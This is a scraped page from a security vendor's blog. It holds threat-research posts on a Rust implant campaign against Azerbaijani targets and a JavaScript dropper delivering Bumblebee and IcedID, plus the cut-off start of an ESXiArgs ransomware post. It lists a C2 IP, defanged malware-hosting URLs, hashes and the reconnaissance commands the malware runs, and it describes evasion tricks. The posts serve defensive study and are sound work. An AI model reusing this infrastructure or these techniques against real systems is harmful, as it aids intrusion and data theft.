di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

Prevention Platform

Prevention for Applications

Prevention for Storage

Prevention for Endpoints

Products

Data Security

Prevent Ransomware

Prevent Zero-Day Attacks

Improve EPP Efficacy

Extend & Enhance EDR

Stop Fileless Attacks

Solutions

Deep Learning in Cybersecurity

Our Customers

+ MS Defender

VS Traditional Antivirus

Why Deep Instinct

About Deep Instinct

Newsroom

Careers

Contact Us

Company

Asset Library

Blog

Videos

Training

Resources

Request Demo

Customer Portal

Integrations and Compliance

Quick links

Threat Research

Voice Of SecOps

Events & Webinars

Leadership Team

Board of Directors

Partners

Login

content_block

Perspective & Findings

<h4>Don’t Let Application File Uploads Become Malware Downloads</h4>

file-upload-security-blog.jpg

Recent Blog Posts

Listing preview

Perspective & Findings

image_media_card

Recent Blog Posts

listing_preview

BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game

Who is the only NEW vendor in the 2022 Gartner® Magic Quadrant™ for Endpoint Protection Platforms?

ChatGPT and Malware: Making Your Malicious Wishes Come True

Top-3 Drawbacks of Content Disarm + Reconstruction (CDR) for Malware Prevention

LSASS Memory Dumps are Stealthier than Ever Before

LSASS memory dumps

Trending at Deep Instinct

carousel_cards

blog-image-rusty-flag.jpg

Key takeaways:<ul><li>The Deep Instinct Threat Lab has discovered a new operation against Azerbaijanian targets</li><li>The operation has at least two different initial access vectors</li><li>The operation is not associated with a known threat actor; the operation was instead named because of their novel malware written in the Rust programming language</li><li>One of the lures used in the operation is a modified document that was used by the Storm-0978 group. This could be a deliberate “false flag”</li></ul><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 1: Attack Flow" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc500e8e577b407b5/65028d348606a8f21cc873d7/fig1-AttackFlowRusty.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1: Attack Flow</figcaption></figure><h5>LNK Vector:</h5>Deep Instinct Threat Lab observed a malicious LNK file with low detections named “1.KARABAKH.jpg.lnk.”The file has a double extension to lure the victim to click an image that is related to a military incident in <a href="https://en.wikipedia.org/wiki/Nagorno-Karabakh" target="_blank">Nagorno-Karabakh</a>.The LNK downloads and executes an MSI installer hosted by DropBox:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 2: LNK arguments" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt72f719f046aed339/65028d5ef41335980a8918e4/fig2-LNK-Arguments.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 2: LNK arguments</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 3: OSINT information about MSI uploader from Dropbox" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcdb6b050e52030ad/65028d8d7960981affb2dee1/fig3-osint-about-MSI-uploader-Dropbox.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 3: OSINT information about MSI uploader from Dropbox</figcaption></figure>The MSI file drops an implant written in Rust, an xml file for a scheduled task to execute the implant, and a decoy image file:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 4: Decoy image file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6930cc293aa4cf67/65028dc568d8e111ac604833/fig4-decoy-image.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4: Decoy image file</figcaption></figure>The image file includes watermarks of the <a href="https://mod.gov.az/en" target="_blank">symbol</a> of the Azerbaijanian MOD.<h5>Office False Flag Vector:</h5>Once we identified the LNK campaign the Deep Instinct Threat Lab attempted to identify additional, related files.Deep Instinct Threat Lab quickly found another MSI file hosted on DropBox that drops a different variant of the same Rust implant; however, the identification of the initial access vector for this campaign was trickier.The DropBox URL was masked with a URL shortener (hxxps://t[.]]ly/8CYQW) and the evidence showed that this URL was invoked via exploitation of Microsoft Equation Editor CVE-2017-11882.Deep Instinct Threat Lab identified a file named “Overview_of_UWCs_UkraineInNATO_campaign.docx” that was invoking the request to this shortened URL; however, this filename and its content are known to be associated with a <a href="https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/" target="_blank">Storm-0978</a> campaign utilizing CVE-2023-36884.The identified file even had a comment on VirusTotal that it is related to the Storm-0978 campaign:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 5: VT comment" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte13eea8de10129de/65028e2f9e7ba645b2cabbf9/fig5-VT_comments.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5: VT comment</figcaption></figure>After further investigation it was revealed that this is a different file, not related to the Storm-0978 campaign. The embedded “afchunk.rtf” file has been replaced and CVE-2023-36884 is not used. Instead, CVE-2017-11882 is used to download and install the MSI file.This action looks like a deliberate false flag attempt to pin this attack on Storm-0978.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 6: OSINT information about MSI uploader for Office vector" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0ad88745f4ac3c5a/65028e6ba26337c73b96b6af/fig6-osint-information-msi-uploaderd.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 6: OSINT information about MSI uploader for Office vector</figcaption></figure>Even though the initial lure is an Office file, the delivered MSI file also open a decoy file, this time a PDF invoice:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Fig 7: PDF decoy dropped by Office vector" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfb1f227360da24a9/6502909f1c72d8a20e8b120c/fig7-PDF-decoy-droppedPDF.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Fig 7: PDF decoy dropped by Office vector</figcaption></figure><h5>MSI Analysis:</h5>While the initial vectors are different, the execution is the same and it is done by invoking msiexec with URL to DropBox.Using a Linux file command or msitools it seems that the MSI files were created by “MSI Wrapper” <a href="https://www.exemsi.com/" target="_blank">https://www.exemsi.com/</a>, which is often used by threat actors to drop malicious files.The MSI installers are dropping and executing the Rust implant along with a decoy file and xml file for scheduled task.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 8: MSI Metadata" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9a1c244f60882ab6/650291e21709f57bfebf53c1/fig8-msi-metadata.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8: MSI Metadata</figcaption></figure><h5>Rust Implant Analysis:</h5>Each attack had its unique file names and metadata. One of the file Rust Implants named “WinDefenderHealth.exe” is written in Rust. It is expected to gather information and send it to the attacker server, which is still active at the time of this research.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blte9120922332ab068" alt="Figure 9: Metadata of the Rust malware" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte9120922332ab068/6502913d3a3d4841e1f6efba/fig9-Rust-defender-healthCheckmetadataVT.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9: Metadata of the Rust malware</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 10: Rust compiler" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9e4e043348197e65/65029386f4133504258918f5/fig10-Rust-malware-compiler.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10: Rust compiler</figcaption></figure>Rust is becoming more popular among malware authors. Security products are not yet detecting Rust malware accurately, and the reverse engineering process is more complex. The Rust standard library is not familiar to tools like IDA and Ghidra. It results in tagging large portions of the code as unknown, and it is difficult to differentiate the code of the standard library from the code of the malware. To overcome this, the plugin GhidRust was used, but it didn't detect the functions of the standard library. In addition, BinDiff was used. A simple Rust binary was compiled and compared against the malware, but very little code was shared. Some open projects for Rust were used in the malware such as Tokio (a runtime for writing reliable, asynchronous, and slim applications with the Rust programming language), hyper (a fast and correct HTTP implementation for Rust) and Serde JSON (a framework for serializing and deserializing Rust data structures efficiently and generically). After that part, we moved on to dynamic analysis.Once the file is executed it goes to sleep for 12 minutes. This is a known method to avoid security researchers and sandbox’s easy analysis.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 11: “Sleep” for 12 minutes" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt70fbe3ef467a938d/650293edeb5afe09bc4a7884/fig11-sleep-12-minutes-to-avoid-easy-reversing.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 11: “Sleep” for 12 minutes</figcaption></figure>Then it starts collecting information about the infected machine:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 12: “Collect” information" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt43287626dd55bb8c/650321cc796098004ab2e260/fig12-Collect-information.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 12: “Collect” information</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 13: Processes collecting information about the PC" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3d7dc9d84a471c52/650295df1c72d858748b1217/fig13-ExfilProccesses.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 13: Processes collecting information about the PC</figcaption></figure>The malware then reads the output of the above executions by redirecting their StdOut to a named pipe. It is notable that the values of StdIn, StdOut, and StdErr match the handles of the processes to the named pipes.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 14: “Read” the collected information" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbb4b1a45002b971a/650297073a3d489d5af6efd7/fig14-tsdoutNamedPipes.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 14: “Read” the collected information</figcaption></figure>The information is gathered leveraging the following template:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 15: Sample of the collected info before encryption" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6497946a4527cebe/6502975576c8e45ee3b5f637/fig15-collected-info.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 15: Sample of the collected info before encryption</figcaption></figure>The above information is then encrypted and sent to the attacker server using an uncommon, hardcoded port 35667:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 16: Encrypted information being sent to the server" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt474685ab5f698b32/6502977d9bf26140fd6bcd01/fig16-encrypted-information-sent-toC2.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 16: Encrypted information being sent to the server</figcaption></figure>We have built a script to decrypt the information, available in our <a href="https://github.com/deepinstinct/Rusty-Flag-DecryptData" target="_blank">Git</a>, that the malware is sending.All analyzed files above have a low detection rate on VT at the time. There are zero detections on first seen and most of the detections are generic ones.<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 17: Detections of the RUST implant in VT. All detections are generic." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt831a4c472c34a419/650297c50433c0d28e25462b/fig17-VT_Detections.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 17: Detections of the RUST implant in VT. All detections are generic.</figcaption></figure>While the other Rust implant still has zero detections:<figure style = "margin: auto; text-align: center;width: auto;"><img alt="Figure 18: 2nd Rust implant VT detections" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3926fc166ca5accf/65029808a8cf8b810b3e0b3f/fig18-sengforVTDet.png" style="margin: auto;text-align: center;width: autopx;" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 18: 2nd Rust implant VT detections</figcaption></figure><h5>Conclusion:</h5>Deep Instinct Threat Lab could not attribute these attacks to any known threat actor. There is a possibility that these files are part of a red team exercise.Regardless of the above statement, the fact that both Rust implants had zero detections when first uploaded to VirusTotal shows that writing malware in esoteric languages can bypass many security solutions.<h5>MITRE:</h5><table><thead class="bg-grey"><tr><th>Tactic</th><th>Technique</th><th>Description</th><th>Observable</th></tr></thead><tbody><tr><td>Discovery</td><td>T1082 System Information Discovery</td><td>The malware executes systeminfo.exe to gain information about the infected computer</td><td>systeminfo.exe</td></tr><tr><td>Discovery</td><td>T1016 System Network Configuration Discovery</td><td>Gain detailed information about the network interfaces on the system</td><td>ipconfig.exe /all</td></tr><tr><td>Discovery</td><td>T1033 System Owner/User Discovery</td><td>Gain user, group, and privileges information for the users</td><td>Whoami.exe /all</td></tr><tr><td>Discovery</td><td>T1087 Account Discovery</td><td>Gain information about local or domain accounts on a system</td><td>Net.exe user</td></tr><tr><td>Discovery</td><td>T1057 Process Discovery</td><td>Gain a list of currently running processes, including detailed information about each one</td><td>Tasklist.exe /v</td></tr><tr><td>Persistence</td><td>T1053 Scheduled Task/Job</td><td>Create a scheduled task using the xml file</td><td>Schtasks.exe</td></tr><tr><td>Command and Control</td><td>T1132 Data Encoding</td><td>Encrypted communication</td><td>Encrypted information sent to the C2. A tool for decrypting the information is provided in our Git.</td></tr></tbody></table><h5>IOC:</h5>78.135.73[.]140<table><thead class="bg-grey"><tr><th>SHA256</th><th>Description</th></tr></thead><tbody><tr><td>463183002d558ec6f4f12475cc81ac2cb8da21549959f587e0fb93bd3353e13e</td><td>Archive containing malicious Office file</td></tr><tr><td>edc531d255b9ae8ae6902dc676f24e95a478576cad297e08e2bbc0b8fe03e4ce</td><td>Malicious Office file</td></tr><tr><td>1546bb5bfc25741434148b77fe51fed7618432a232049b3f6f7210e7fb1f3f0e</td><td>MSI file from hxxps://t[.]ly/8CYQW</td></tr><tr><td>387304b50852736281a29d00ed2d8cdb3368d171215f1099b41c404e7e099193</td><td>SangforUD.EXE Rust implant</td></tr><tr><td>0742cd9b92661f23f6b294cc29c814de027b5b64b045e4807fc03123b153bcd5</td><td>Decoy PDF file</td></tr><tr><td>04725fb5a9e878d68e03176364f3b1057a5c54cca06ec988013a508d6bb29b42</td><td>Malicious LNK file</td></tr><tr><td>35f2f7cd7945f43d9692b6ea39d82c4fc9b86709b18164ad295ce66ac20fd8e5</td><td>MSI file from LNK vector</td></tr><tr><td>5327308fee51fc6bb95996c4185c4cfcbac580b747d79363c7cf66505f3ff6db</td><td>WinDefenderHealth.EXE Rust implant</td></tr><tr><td>e508cafa5c45847ecea35539e836dc9370699d21522839342c3f3573bf550555</td><td>Decoy JPEG file</td></tr></tbody></table>

Operation Rusty Flag – A Malicious Campaign Against Azerbaijanian Targets

pindos-js-dropper-blog.jpg

Deep Instinct’s Threat Research Lab recently noticed a new strain of a JavaScript-based dropper that is delivering Bumblebee and IcedID. The dropper contains comments in Russian and employs the unique user-agent string “PindOS”, which may be a <a href="https://en.wikipedia.org/wiki/Anti-American_sentiment_in_Russia#Pindos" target="_blank">reference</a> to current (and past) anti-American sentiment in Russia.Bumblebee is a malware loader first discovered in March 2022. It was associated with <a href="https://info.deepinstinct.com/conti-leaks-cyber-threat-reports" target="_self">Conti group</a> and was being used as a replacement for BazarLoader. It acts as a primary vector for multiple types of other malware, including ransomware.IcedID is a modular banking malware designed to steal financial information. It has been seen in the wild since at least 2017 and has recently been <a href="https://www.bleepingcomputer.com/news/security/new-icedid-variants-shift-from-bank-fraud-to-malware-delivery/" target="_blank">observed</a> shifting some of its focus to malware delivery.<h5>Bumblebee’s Dilemma – PowerShell or JavaScript?</h5><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltac10f75989680347" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltac10f75989680347/6493347d48e15a005746c1ff/fig00-bumble_meme.jpg" style="text-align: center;"/></figure>Bumblebee’s primary modus operandi, including its most recent <a href="https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads" target="_blank">major campaign</a>, involves a PowerShell-based first stage with very characteristic obfuscation (“elemXXX”). This serves as a wrapper and loading routine for an embedded 64-bit payload .DLL. Our analysis of this flow can be found <a href="/blog/the-dark-side-of-bumblebee-malware-loader" target="_self">here</a>.The possible switch to JavaScript instead of PowerShell marks a significant change in Bumblebee’s well-established TTP’s.<h5>IcedID – From Banker to Loader?</h5>As recent reports indicate, IcedID appears to be partially following in Emotet’s footsteps and may be abandoning its banking and financial functionalities in favor of becoming a more generalized loader-type malware. An association with a new JavaScript type of dropper can be seen as another step in this direction.<h5>PindOS JavaScript Technical Analysis</h5>Once de-obfuscated, the dropper is surprisingly simple. It consists of a single function, “exec,” which gets four parameters:<ul><li>“UserAgent” – The user-agent string to be used when downloading Bumblebee’s .DLL</li><li>“URL1” – First address to download from</li><li>“URL2” – Second address to download from</li><li>“RunDLL” – Payload .DLL exported function to call</li></ul>When executed, the dropper will attempt to download the payload initially from URL1 and execute it by calling on the specified export directly via rundll32.exe. If this fails, the dropper will attempt to download the payload from URL2 and execute it using a combination of PowerShell and rundll32.exe.The downloaded payload is saved to %appdata%/Microsoft/Templates/&lt;6-char-random-number&gt;.dat<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt310d8e627d3469ad" alt="Figure 1 – PindOS' main function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt310d8e627d3469ad/6493347db9a076b80b92866c/fig01-pindos-main-function.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 1 – PindOS' main function</figcaption></figure>The function is then called twice, with four separate URLs:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt94b88382eb4426e4" alt="Figure 2 – exec function call from Bumblebee dropper" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt94b88382eb4426e4/6493347dd5b9a5988d6de2e6/fig02-exec-function-call-from-bumblebee-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 2 – exec function call from Bumblebee dropper</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt2ccea6ece70d6aef" alt="Figure 3 – exec function call from IcedID dropper" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2ccea6ece70d6aef/6493347d1fb2d3643c496f99/fig03-exec-call-from-icedid-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 3 – exec function call from IcedID dropper</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltf4668bbd24eb05b8" alt="Figure 4 – Payload download" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4668bbd24eb05b8/6493347df7411b69d437e201/fig04-payload-download.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 4 – Payload download</figcaption></figure>The retrieved payloads are generated pseudo-randomly “on-demand” which results in a new sample hash each time a payload is fetched. This is commonly done to avoid signature-based detection. However, in Bumblebee’s case, this seems somewhat ineffective compared to the previous flow (which did not write the payload directly to disk), as the samples are fairly <a href="https://www.virustotal.com/gui/file/28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523/detection/f-28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523-1686560298" target="_blank">well detected</a> even on “first-seen”. This is likely due to the generated payload’s exports and several other indicators which remain constant and do not vary across the different generated samples.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt9a6ab350a777b88a" alt="Figure 5 – A generalized comparison of Bumblebee’s infection flows - “older” on the right; “newer” on the left." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9a6ab350a777b88a/64933d2de66699a1d52eb992/fig05-a-generalized-comparison-of-bumblebees-infection-flows.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 5 – A generalized comparison of Bumblebee’s infection flows - “older” on the right; “newer” on the left.</figcaption></figure>According to Virus Total, on “first-seen” PindOS droppers have mostly received very low detection rates:<img asset_uid="blt5a182e8e00749668" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5a182e8e00749668/64933d2d1fb2d36df6496fcb/fig06-vt-first-seen-detection-pindos-virus.png"/><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt6e2212907fb50273" alt="Figures 6 & 7 – VT first-seen detection for PindOS droppers" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6e2212907fb50273/64933d2d48a8ff009c477fde/fig07-vt-first-seen-detection-pindos-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figures 6 &amp; 7 – VT first-seen detection for PindOS droppers</figcaption></figure><h5>Bumblebee DLL Payload Analysis Highlights</h5>The DLL payload is slightly different from the one previously encountered. Dynamically, it is very similar, with the addition of a few layers of obfuscation. It’s anti-debugging and anti-VM/sandbox features remain the same but with some additional “legitimate looking” strings taken from the <a href="https://github.com/FFmpeg/FFmpeg/blob/1617d1a752d5e97d5e74f6c384609c027c884553/libavutil/error.c" target="_blank">FFmpeg project open-source</a> project’s “error.c” file and a few other files from the same project added for distraction purposes:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt64d2e5ce682d4b38" alt="Figure 8 – Strings found in Bumblebee DLL" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt64d2e5ce682d4b38/6493347d9601bc69e508214d/fig08-strings-found-in-bumblebee-dll.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 8 – Strings found in Bumblebee DLL</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltff29e3f9d11aa98a" alt="Figure 9 – FFmpeg project source, “error.c” file." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltff29e3f9d11aa98a/6493347dea50bc3ffabea7f4/fig09-ffmpeg-project-source-error.c-file.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 9 – FFmpeg project source, “error.c” file.</figcaption></figure>Another point of differentiation is that previously Bumblebee DLLs had two main export functions, while the new one has four.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt3c905274f728fa88" alt="Figure 10 – “New” Bumblebee DLL Exports" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3c905274f728fa88/6493347dd2420473b31cd636/fig10-new-bumblebee-dll-exports.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 10 – “New” Bumblebee DLL Exports</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltcb5ad0e83176edf1" alt="Figure 11 – “Old” Bumblebee DLL exports, with main “SetPath” function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcb5ad0e83176edf1/6493347d75c2ae82940617e7/fig11-old-bumblebee-dll-exports-with-main-setpath-function.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 11 – “Old” Bumblebee DLL exports, with main “SetPath” function</figcaption></figure>Further examination of the DLL brings us to the same main function as the previous variant.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltec80d5d7fc0f0819" alt="Figure 12 – “SetPath” in the “new” Bumblebee DLL." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltec80d5d7fc0f0819/6493347ee6669913502eb96f/fig12-setpath-in-the-new-bumblebee-dll.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 12 – “SetPath” in the “new” Bumblebee DLL.</figcaption></figure><h5>Conclusion</h5>Bumblebee’s latest “experiment” attempts to leverage pseudo-random sample generation as a means of reducing the risk of detection. This has been used by threat actors in the financial/banking malware landscape for years, including IcedID, which “shares” the PindOS dropper.Whether PindOS is permanently adopted by the actors behind Bumblebee and IcedID remains to be seen. If this “experiment” is successful for each of these "companion” malware operators it may become a permanent tool in their arsenal and gain popularity among other threat actors.As Bumblebee and <a href="https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/" target="_blank">IcedID</a> are known to deliver ransomware, we recommend that security teams take note of these IOCs. You can find updated lists of IOCs on our <a href="https://github.com/deepinstinct/PindOS-JS-Dropper" target="_blank">GitHub page</a>.<h5>IOCs</h5><ul><li>Network Artifact User-Agent: PindOS</li><li>Bumblebee infection URLs hxxps://qaswrahc.com/wp-content/out/mn[.]php hxxp://tusaceitesesenciales.com/mn[.]php hxxp://carwashdenham.com/mn[.]php hxxps://intellectproactive.com/dist/out/mn[.]php</li><li>Bumblebee .JS dropper SHA256 bcd9b7d4ca83e96704e00e378728db06291e8e2b50d68db22efd1f8974d1ca91 07d2cb0dc0cd353fb210b065733743078e79c4a27c42872cd516a6b1fb1f00d1 00ec8f3900336c7aeb31fef4d111ee6e33f12ad451bc5119d3e50ad80b2212b0 15da5b0a65dd8135273124da0c6e52e017e3b54642f87571e82d2314aae97eec 180a935383b39501c7bdf2745b3a334841f01a7df9d063fecca587b5cc3f5e7a</li><li>Bumblebee DLL payload SHA256 24dd5c33b8a5136bdf29d0c07cf56ef0e33a285bb12696a8ff65e4065cb18359 76c9780256e195901e1c09cb8a37fb5967f9f5b36564e380e7cf2558652f875b 28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523 ac261ac26221505798c65c61a207f3951cc7dce2e1014409d8a765d85bfd91d4</li><li>IcedID infection URLs hxxps://masar-alulaedu.com/wp-content/woocommerce/out/berr[.]php hxxps://egyfruitcorner.com/wp-content/tareq/out/berr[.]php hxxps://tech21africa.com/wp-content/uploads/out/berr[.]php hxxps://www.posao-austrija.at/images/out/lim[.]php hxxps://logisticavirtual.org/wp-content/out/lim[.]php hxxps://adecoco.us/wp-content/out/lim[.]php hxxps://acsdxb.net/wp-content/out/lim[.]php</li><li>IcedID .JS dropper SHA256 92506fe773db7472e7782dbb5403548323e65a9eb2e4c15f9ac65ee6c4bd908b c84c84387f0b9e7bc575a008f36919448b4e6645e1f5d054e20b59be726ee814 7355656f894ae26215f979b953c8fa237dc39af857a6b27754a93adb1823f3b6 8f40ff286419eb4b0c4d15710dc552afb2c2a227a180f4b4f520d09b05724151</li><li>IcedID DLL payload SHA256 9101975f7aca998da796fc15a63b36ab8aa0fe0aed0b186aaed06a3383d5f226 4f0c9c6fc1287ef16f4683db90dd677054a1f834594494d61d765fa3f2e1352c cb307d7fa6eaac6a975ad64ff966ff6b0b0fdd59109246c2f6f5e8d50a33e93c 361b0157ef63d362fdd4399288f5f6a0e1536633dfb49c808a3590718c4d8f10 e71c9ac9ddd55b485e636840da150db5cd2791d0681123457bd40623acd8311c 8ae3be9f09f5fc64ec898a4d6467b2f6e50eaaa26fc460a4f1a9b9566e97a9a7</li></ul><h5>MITRE ATT&amp;CK</h5><table><thead><tr><th style="width: 13%;">Tactic</th><th>Technique</th><th>Description</th><th>Observable</th></tr></thead><tbody><tr><td>Execution</td><td>Command and Scripting Interpreter: JavaScript – T1059.007</td><td>Adversaries may abuse various implementations of JavaScript for execution.</td><td>.JS Droppers</td></tr><tr><td>Defense Evasion</td><td>System Binary Proxy Execution: Rundll32 – T1218.001</td><td>Adversaries may abuse rundll32.exe to proxy execution of malicious code.</td><td>Rundll32.exe usage</td></tr><tr><td>Defense Evasion</td><td>Obfuscated Files or Information – T1027</td><td>Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.</td><td>Obfuscated JS, “Random” generated payloads</td></tr></tbody></table>

PindOS: New JavaScript Dropper Delivering Bumblebee and IcedID

esxiargs-ransomware-blog.jpg

Targeting VMware ESXi is not new; previous ransomware attacks such as Babuk, AvosLocker, BlackCat, Hive, and others have targeted it as well. The uniqueness of ESXiArgs is that it’s only targeting ESXi and it’s exploiting a two-year-old vulnerability resulting in remote code execution (RCE).Such attacks are often performed as a blitz attack in an effort to infect several victims at once. Otherwise, other potential victims would patch or remediate the initial attack vector before it can widely spread. In just two weeks, this attack has affected a few thousand victims.<h3>Surprise Attack</h3>While everyone was following the hype around ChatGPT and debating a better alternative from Google and Microsoft, ESXiArgs took advantage of the distraction and launched a large-scale ransomware attack.Are we surprised? Nope. This is not the first time, and definitely not last, that threat actors exploited old unpatched vulnerabilities to perform a large-scale attack. A few others?<ul><li>CV-2013-0431 – A vulnerability in JRE exploited by Reveton Ransomware. The CVE is from 2013. It was exploited in 2019-2022.</li><li>CVE-2013-1493 – A flaw in Oracle Java exploited by Exxroute Ransomware.</li><li>CVE-2019-7481 – A vulnerability in SonicWall used by HelloKitty Ransomware.</li></ul>The list is long, so we summarized it using the <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank">Known Exploited Vulnerabilities Catalog by CISA</a> by the year the CVE was published and when it was exploited in the wild.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltecfdc965cec8e5e8" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltecfdc965cec8e5e8/63ee61eebb6c4e1c079f6199/fig01-years-between-cve-published-and-found-exploited.png" 